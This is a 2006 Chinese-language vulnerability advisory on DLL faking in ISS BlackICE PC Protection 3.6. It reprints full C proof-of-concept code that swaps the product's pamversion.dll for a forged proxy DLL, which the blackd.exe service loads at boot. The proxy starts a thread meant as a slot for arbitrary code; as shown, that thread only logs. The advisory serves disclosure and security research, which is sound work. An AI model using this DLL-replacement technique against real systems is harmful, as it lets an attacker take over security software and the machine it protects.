发布日期：2006-08-01
更新日期：2006-08-02

受影响系统：

ISS BlackICE PC Protection 3.6.cpj
ISS BlackICE PC Protection 3.6.cpiE

描述：

---

BlackICE PC Protection是一款强大的数据信息过滤防火墙系统。

BlackICE对自身组件的保护上存在漏洞，本地攻击者可能利用此漏洞通过BlackICE完全控制系统。

BlackICE没有保护一些自己的进程，也没有防范其他进程对其安装目录中pamversion.dll文件可能执行的操作，允许用伪造的函数库替换这个DLL。在启动系统后初始化BlackICE期间主BlackICE服务blackd.exe会动态的将这个库加载到自己的进程，因此就可能将伪造的库注入到BlackICE服务，获得对受保护系统的完全控制。

<*来源：David Matousek （david@matousec.com）
  
  链接：http://www.matousec.com/info/advisories/BlackICE-DLL-faking-of-run-time-linked-libraries.php
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*

Testing program for DLL faking of run-time linked libraries (BTP00022P003BI)


Usage:
prog INSTDIR
   INSTDIR - BlackICE installation directory

Description:
This program uses standard Windows API function to rename file "pamversion.dll" in BlackICE
installation directory. Then copies its own library instead of orginal "pamversion.dll".
This DLL is loaded into processes called "blackd.exe" during the system startup.

Test:
Running the testing program with a path to BlackICE installation directory as an argument
and restarting the system.

*/

#include <stdio.h>
#include <windows.h>
#include <ddk/ntapi.h>

void about(void)
{
  printf("Testing program for DLL faking of run-time linked libraries (BTP00022P003BI)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2006 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/\n\n");
  return;
}

void usage(void)
{
  printf("Usage: INSTDIR\n"
         "  INSTDIR - BlackICE installation directory\n");
  return;
}

void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
    fprintf(stderr,"Error code: %d\n",code);
    fprintf(stderr,"Error message: %s",buf);
    LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %d.\n",code);
  return;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=2)
  {
    usage();
    return 1;
  }

  char curdir[MAX_PATH],testdll[MAX_PATH],pamversion[MAX_PATH],pamversion_new[MAX_PATH];
  GetCurrentDirectory(MAX_PATH,curdir);
  int curdirlen=strlen(curdir)-1;
  if (curdir[curdirlen]=='\\') curdir[curdirlen]='\0';


  int err=1;
  snprintf(pamversion,MAX_PATH,"%s\\pamversion.dll",argv[1]);
  snprintf(pamversion_new,MAX_PATH,"%s\\pamversion.dll.bug",argv[1]);
  snprintf(testdll,MAX_PATH,"%s\\testdll.dll",curdir);
  if (MoveFileEx(pamversion,pamversion_new,MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH))
  {
    printf("File \"%s\" moved to \"%s\".\n",pamversion,pamversion_new);
    if (CopyFile(testdll,pamversion,FALSE))
    {
      printf("File \"%s\" copied to \"%s\".\n",testdll,pamversion);
      err=0;
    } else fprintf(stderr,"Unable to move file \"%s\" to \"%s\".\n",testdll,pamversion);
  } else fprintf(stderr,"Unable to move file \"%s\" to \"%s\".\n",pamversion,pamversion_new);

  if (err)
  {
    print_last_error();
    fprintf(stderr,"\n");
    printf("\nTEST FAILED!\n");
    return 1;
  }

  printf("\nTEST SUCCESSFUL!\n");
  return 0;
}

----------------------------------------------------------------------------------

/*

Helper DLL for DLL faking of run-time linked libraries (BTP00022P003BI)

Description:
This DLL implements functions of original BlackICE library "pamversion.dll". During its initialization it creates
a new thread that can be used for executing malicious code. It logs its actions into a logfile.

*/

#include <stdio.h>
#include <windows.h>

typedef DWORD __attribute__ ((cdecl)) (*PAMVERSION_GET_PAM_VERSION)(DWORD arg1,DWORD arg2);

PAMVERSION_GET_PAM_VERSION PAMVERSION_GetPAMVersion=NULL;

HANDLE thread=NULL;
char msg[1024];

void logmsg();

/*
Implementations of GetPAMVersion by a simple redirection to original "pamversion.dll" function.
*/

DWORD __attribute__ ((cdecl)) GetPAMVersion(DWORD arg1,DWORD arg2)
{
  snprintf(msg,1024,"Process PID=%d -> GetPAMVersion(arg1:0x%X,arg2:0x%X)\n",GetCurrentProcessId(),arg1,arg2);
  logmsg();

  DWORD ret=PAMVERSION_GetPAMVersion(arg1,arg2);

  snprintf(msg,1024,"Process PID=%d -> GetPAMVersion returned %d\n",GetCurrentProcessId(),ret);
  logmsg();

  return ret;
}


/*
logmsg logs messages to C:\BTP00022P003BI.log
*/

void logmsg(void)
{
  HANDLE log=CreateFile("C:\\BTP00022P003BI.log",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  if (log!=INVALID_HANDLE_VALUE)
  {
    SetFilePointer(log,0,NULL,FILE_END);
    DWORD bytes;
    WriteFile(log,msg,strlen(msg),&bytes,NULL);
    CloseHandle(log);
  }
  return;
}


/*
thread routine that can execute malicious code with the privileges BlackICE processes
*/

DWORD WINAPI thread_proc(HMODULE module)
{
  while (1)
  {
    snprintf(msg,1024,"Any code can be executed now in process PID=%d, using module at 0x%p.\n",
             GetCurrentProcessId(),module);
    logmsg();
    Sleep(10000);
  }

  return 0;
}


BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
  if (fdwReason==DLL_PROCESS_ATTACH)
  {
    DisableThreadLibraryCalls(hinstDLL);

    HMODULE mod=LoadLibrary("pamversion.dll.bug");
    PAMVERSION_GetPAMVersion=(PVOID)GetProcAddress(mod,"GetPAMVersion");

    snprintf(msg,1024,"DLL_PROCESS_ATTACH for testdll.dll in process PID=%d, hinstDLL = 0x%p\n"
                      "PAMVERSION_GetPAMVersion = 0x%p\n",
             GetCurrentProcessId(),hinstDLL,PAMVERSION_GetPAMVersion);
    logmsg();
    thread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc,hinstDLL,0,NULL);
  }

  if ((fdwReason==DLL_PROCESS_DETACH) && thread)
  {
    snprintf(msg,1024,"DLL_PROCESS_DETACH for testdll.dll in process PID=%d, hinstDLL = 0x%p\n",GetCurrentProcessId(),hinstDLL);
    logmsg();
    TerminateThread(thread,0);
    CloseHandle(thread);
  }

  return TRUE;
}

建议：

---

厂商补丁：

ISS
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://xforce.iss.net

浏览次数：3674
严重程度：0（网友投票）